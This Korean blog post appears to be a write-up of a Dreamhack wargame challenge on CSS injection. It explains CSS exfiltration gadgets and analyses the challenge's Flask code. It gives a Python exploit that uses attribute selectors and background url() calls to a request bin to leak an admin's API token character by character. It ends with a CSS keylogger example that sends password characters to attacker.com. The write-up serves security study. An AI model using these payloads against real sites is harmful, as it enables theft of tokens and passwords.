CSS Injection 배경지식
개념
웹 페이지 로딩 시 악의적인 문자열을 삽입하여 악의적인 동작을 이끄는 공격
임의 CSS 속성을 삽입해 웹페이지의 UI 를 변조하거나 웹 페이지내의 데이터를 외부로 훔칠 수 있다
CSRF Token, 피해자의 API Key등 웹 페이지에 직접적으로 보여지는 값처럼 CSS 선택자를 통해 표현이 가능한 값이어야 한다
HTML (style) 영역에 공격자가 임의 입력 값을 넣을 수 있거나 임의 HTML을 삽입할 수 있는 상황에서 사용한다
예제
<style>
body { background-color: ${theme}; }
</style>
=> $theme에 yellow; h1 { color: red 삽입 시 UI 변조 가능
IP ping back 방법
- 외부 요청을 전송함으로써 웹페이지의 데이터를 탈취할 수 있다
CSS 가젯 | 설명 |
@import 'https://leaking.via/css-import-string'; | 외부 CSS 파일을 로드합니다. 모든 속성 중 가장 상단에 위치해야합니다. 그렇지 않을 경우 @import는 무시됩니다. |
@import url(https://leaking.via/css-import-url); | url 함수는 URL를 불러오는 역할을 합니다. 상황에 따라서 선택적으로 사용할 수 있습니다. |
background: url(https://leaking.via/css-background); | 요소의 배경을 변경할 때 사용할 이미지를 불러옵니다. |
@font-face { font-family: leak; src: url(https://leaking.via/css-font-face-src); } |
불러올 폰트 파일의 주소를 지정합니다. |
background-image: \000075\000072\00006C(https://leaking.via/css-escape-url-2); | CSS 에서 함수를 호출할 때 ascii형태의 “url”이 아닌 hex형태인 “\000075\000072\00006C”도 지원합니다. |
=> import, background, url, font-face, src 등을 통해 외부로 GET 요청 보낼 수 있다 (argument에 data 담아서 leak 가능)
CSS Attribute Selector
[attr] | attr이라는 이름의 특성을 가진 요소를 선택합니다. |
[attr=value] | attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. |
[attr~=value] | attr이라는 이름의 특성값이 정확히 value인 요소를 선택합니다. attr 특성은 공백으로 구분한 여러 개의 값을 가지고 있을 수 있습니다. |
[attr^=value] | attr이라는 특성값을 가지고 있으며, 접두사로 value가 값에 포함되어 있으면 이 요소를 선택합니다. |
[attr$=value] | attr이라는 특성값을 가지고 있으며, 접미사로 value가 값에 포함되어 있으면 이 요소를 선택합니다. |
[attr][attr] 연속해서 쓰면 AND 조건, [attr], [attr] 이렇게 comma로 이어서쓰면 OR 조건
https://www.w3schools.com/cssref/css_selectors.php
문제 분석
* base.html
<style>
body{
background-color: {{ color }};
}
</style>
- css injection 가능
* main.py
# template에서 사용할 수 있는 변수를 정의 (default: color=white)
@app.context_processor
def background_color():
color = request.args.get('color', 'white')
return dict(color=color)
- argument로 color를 받아서 템플릿 변수 color에 대입함 (argument 없을 시 white)
# register 시 token generate
token = token_generate()
sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
execute(sql, {'username': username, 'password': hashlib.sha256(password.encode()).hexdigest(), 'token': token})
flash('Register Success.')
return redirect(url_for('login'))
- register() 함수의 일부, [userid, username, password, token] 을 DB에 넣음
@app.route('/mypage')
@login_required
def mypage():
user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': session['uid']})
return render_template('mypage.html', user=user[0])
- mypage: 로그인 된 사용자의 uid / username / API key(=token) 값을 표시해줌
def token_generate():
while True:
# token은 알파벳 lowercase 16자리
token = ''.join(random.choice(string.ascii_lowercase) for _ in range(16))
token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
if not token_exists:
return token
- token은 알파벳 소문자로 16자리 랜덤하게 생성
@app.route('/report', methods=['GET', 'POST'])
def report():
if request.method == 'POST':
path = request.form.get('path')
if not path:
flash('fail.')
return redirect(url_for('report'))
if path and path[0] == '/':
path = path[1:]
url = f'http://localhost:80/{path}'
# success / fail 여부만 알려주네
if check_url(url):
flash('success.')
else:
flash('fail.')
return redirect(url_for('report'))
// 이하 생략
def check_url(url):
// 생략
# admin으로 로그인한 후 url 접속
driver_promise = Promise(driver.get('http://localhost:80/login'))
driver_promise.then(driver.find_element_by_name("username").send_keys(str(ADMIN_USERNAME)))
driver_promise.then(driver.find_element_by_name("password").send_keys(ADMIN_PASSWORD.decode()))
driver_promise = Promise(driver.find_element_by_id("submit").click())
driver_promise.then(driver.get(url))
// 이하 생략
- /report 엔드포인트에 관리자 로그인된 상태로 원하는 링크로 GET 요청 보낼 수 있음
- @app.before_first_request에 의해 서버 시작 시 이미 DB에 관리자계정 (uid, username, password, token) 생성하고 관리자 계정으로 메모 하나 작성되어있음
# API - token만 있으면 해당 user의 uid/username/memo 확인 가능
@app.route('/api/me')
@apikey_required
def APIme():
user = execute('SELECT * FROM users WHERE uid = :uid;', {'uid': request.uid})
if user:
return {'code': 200, 'uid': user[0][0], 'username': user[0][1]}
return {'code': 500, 'message': 'Error !'}
@app.route('/api/memo')
@apikey_required
def APImemo():
memos = execute('SELECT * FROM memo WHERE uid = :uid;', {'uid': request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({'idx': tmp[0], 'memo': tmp[2]})
return {'code': 200, 'memo': memo}
return {'code': 500, 'message': 'Error !'}
- /api/me , /api/memo 접속하려면 @apikey_required 먼저 통과해야 함
# /api/* 페이지 접속 시 헤더에 API-KEY 있는지/있으면 해당하는 uid 전달
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get('API-KEY', None)
token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {'code': 401, 'message': 'Access Denined !'}
return wrapped_view
- 헤더에 "API-KEY"가 존재해야하고, 그 토큰값을 기준으로 DB에서 uid를 꺼내 request에 담는다
=> api page에서는 API-KEY만으로도 개인정보/메모를 확인할 수 있다
취약점 파악
* mypage.html
{% extends "base.html" %}
{% block head %}
{{ super() }}
{% endblock %}
{% block content %}
// 생략
<div class="form-group">
<label for="InputApitoken">API Token</label>
<input type="text" class="form-control" id="InputApitoken" readonly value="{{ user[3] }}">
<button class="btn btn-primary" onclick="TokenCopy()">Copy</button>
</div>
// 이하 생략
- 모든 페이지에서 base.html을 extends 하므로 CSS Injection 공격 어디에서나 가능
- /mypage의 경우 API-KEY가 웹 페이지에 직접적으로 보여지고 있다.
CSS Injection TEST
- CSS selector 하나만 사용해서는 우선순위에 밀려 내 코드가 반영이 안 된다
(헤더에 <link rel="stylesheet" href="~"> 다수 존재하기 때문에 우선순위 낮음)
- CSS selector 두 개를 사용해서 내 inline CSS code의 우선순위를 높인다
- url 인자로 전달해주어도 잘 동작한다 (큰따옴표는 사용하지 않았다, HTML Entity로 변환되더라)
exploit 방향
- /report 엔드포인트를 이용하면 관리자 계정으로 로그인한 상태로 특정 url에 GET 요청을 날릴 수 있다
- 관리자의 /mypage에 접속한 후 input[id="InputApitoken] 의 value를 leak하면 되겠다
how to leak?
- 처음에는 check_url(url) 리턴값에 따른 blind Injection을 시도하려했지만, 단순히 UI를 바꾸는 것만으로 Exception을 발생시켜 False를 리턴시키는게 불가능
- IP Ping Back!! 외부 Request bin으로 data를 포함해 GET 요청을 보내면 되겠다
- 한 글자씩 구해나가면 될 듯
import requests, string
api_key = ''
# report 통해 로그인하면 administrator로 로그인된 상태
url = 'http://host3.dreamhack.games:14878/report'
data = {'path': ''}
for ch in string.ascii_lowercase:
# 한 글자 구할때마다 value에 추가
payload = 'mypage?color=white;}} input[id=InputApitoken][value^=ezsykjtuznqsteef{ch}] {{ background: url(https://envcy5qws1w7b.x.pipedream.net?data={ch})'.format(ch=ch)
data['path'] = payload
c = requests.post(url=url, data=data)
- 매 실행마다 API-KEY 한 자씩 구함. 16번 반복
- Request bin 상황
c = requests.get(headers={"API-KEY": "ezsykjtuznqsteef"}, url="http://host3.dreamhack.games:14878/api/memo")
print(c.text)
- API-KEY를 헤더에 포함하여 /api/memo 엔드포인트 접속
응용
키로거 제작할 수도 있겠다
input[name=password][value^=a]{
background: url('https://attacker.com/a');
}
input[name=password][value^=b]{
background: url('https://attacker.com/b');
}
/* ... */
input[name=password][value^=9]{
background: url('https://attacker.com/9');
}
'security > 웹해킹' 카테고리의 다른 글
[Dreamhack Wargame] Relative Path Overwrite Advanced (0) | 2023.07.07 |
---|---|
[Dreamhack Wargame] Relative Path Overwrite + RPO 기법 정리 (0) | 2023.07.07 |
[Dreamhack Wargame] Client Side Template Injection (0) | 2023.07.05 |
[Dreamhack Wargame] CSP Bypass Advanced (0) | 2023.07.03 |
[Dreamhack Wargame] CSP Bypass + CSP에 대해 (0) | 2023.07.03 |